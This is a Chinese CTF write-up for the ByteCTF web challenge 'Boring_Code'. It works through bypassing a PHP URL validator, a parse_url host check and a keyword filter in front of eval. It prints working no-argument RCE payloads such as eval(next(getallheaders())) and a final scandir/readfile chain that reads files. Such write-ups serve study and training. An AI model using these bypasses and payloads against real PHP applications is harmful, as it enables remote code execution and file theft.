php parse url ctf,一道CTF题目的探究

ByteCTF上遇到的一道Web题目,Boring_Code

输出了代码:

function is_valid_url($url) {

if (filter_var($url, FILTER_VALIDATE_URL)) {

if (preg_match('/data:\/\//i', $url)) {

return false;

}

return true;

}

return false;

}

if (isset($_POST['url'])){

$url = $_POST['url'];

if (is_valid_url($url)) {

$r = parse_url($url);

if (preg_match('/baidu\.com$/', $r['host'])) {

$code = file_get_contents($url);

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {

if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {

echo 'bye~';

} else {

eval($code);

}

}

} else {

echo "error: host not allowed";

}

} else {

echo "error: invalid url";

}

}else{

highlight_file(__FILE__);

}

0x01 filter_var函数<?php

$url = $_POST['url'];

function is_valid_url($url) {

if (filter_var($url, FILTER_VALIDATE_URL)) {

return true;

}

return false;

}

if(is_valid_url($url)){

echo 'success';

} else {

echo 'fail';

}

那么filter_var($url, FILTER_VALIDATE_URL)判断符合格式的URL可以是怎样的呐?

只要是满足://,前一个可以包含符号 .

0x02 parse_url函数

parse_url函数是用于解析URL中的参数,包括host,port,参数等等

测试代码:

$url = $_POST['url'];

function is_valid_url($url) {

if (filter_var($url, FILTER_VALIDATE_URL)) {

if (preg_match('/data:\/\//i', $url)) {

return false;

}

return true;

}

return false;

}

if(is_valid_url($url)){

var_dump(parse_url($url));

} else {

echo 'fail';

}

9a7d41f72364d7af451d1c1730e3a44e.png

那么在第一部分,我们说到了filter_var()函数验证URL其实是不严谨的,那么在parse_url()这,会不会导致一些bypass呐?

通过@分割 user 与 host

904a89cc6acc22b3e0ac31d126c73faf.png

改造一下:

$url = $_POST['url'];

function is_valid_url($url) {

if (filter_var($url, FILTER_VALIDATE_URL)) {

if (preg_match('/data:\/\//i', $url)) {

return false;

}

return true;

}

return false;

}

if(is_valid_url($url)){

$r = parse_url($url);

if (preg_match('/baidu\.com$/', $r['host'])) {

var_dump($r['host']);

echo 'success';

} else {

echo 'Host必须包含以baidu.com结尾字符串';

}

} else {

echo 'fail';

}

4acfc3b62eb2d613d29e7b7732ea149e.png

0x03 file_get_contents函数

测试代码:

$url = $_GET['url'];

var_dump(file_get_contents($url));

使用php://input伪协议绕过

将要GET的参数?xxx=php://input

用post方法传入想要file_get_contents()函数返回的值

用data://伪协议绕过

将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码

将url改为:?xxx=data:text/plain,(url编码的内容)

在is_valid_url()函数中禁止了data://协议

0x04 绕过递归检测

题目中还有;的递归正则匹配

$url = $_POST['url'];

function is_valid_url($url) {

if (filter_var($url, FILTER_VALIDATE_URL)) {

if (preg_match('/data:\/\//i', $url)) {

return false;

}

return true;

}

return false;

}

if(is_valid_url($url)){

$r = parse_url($url);

if (preg_match('/baidu\.com$/', $r['host'])) {

$code = file_get_contents($url);

var_dump($code);

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {

echo 'success';

} else {

echo '只能有一个;(分号)';

}

} else {

echo 'Host必须包含以baidu.com结尾字符串';

}

} else {

echo 'fail';

}

这种正则匹配需要按照:function(function(function()));这样的格式,只能是函数形式,而且字母得小写,

可以通过两种方法绕过:

Apache环境:getallheaders()

Nginx环境:get_defined_vars()

例如:

// 只需要在数据包头加上相关例如:kk:phpinfo();就可以执行了

eval(next(getallheaders()));

// 只需要传递post或者get或者cookie参数,在对应传值即可

eval(reset(get_defined_vars()));

// 通过16进制编码传PHPSESSID值

eval(hex2bin(session_id(session_start())));

0x05 绕过关键词检测if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {

echo 'bye~';

} else {

echo 'success';

eval($code);

}

如上代码,过滤了关键词et,那么含有get字符串的函数就不能用

所以使用session方式,hex也被过滤,那么看看php当中字符串的函数有哪些呐?

但是session相关的函数都有_,emmm~

尝试str_rot13()…

然后参考了“PHP无参数RCE”一文

由于过滤太猛,所以尝试任意读取文件

函数

说明

getcwd()

获取当前工作目录

dirname()

返回去掉文件名后的目录名

scandir()

返回当前目录下的文件名+文件夹

chdir()

更改执行目录

end()

指向最后一个元素,并输出

readfile()

读取输出文件内容

next()

将内部指针指向数组中的下一个元素

arrary_reverse()

数组反转

localeconv()

返回一包含本地数字及货币格式信息的数组

current()、pos()

返回数组中的当前单元, 默认取第一个值

hex2bin

转换十六进制字符串为二进制字符串

最后构造payload:

if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

参考文章

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值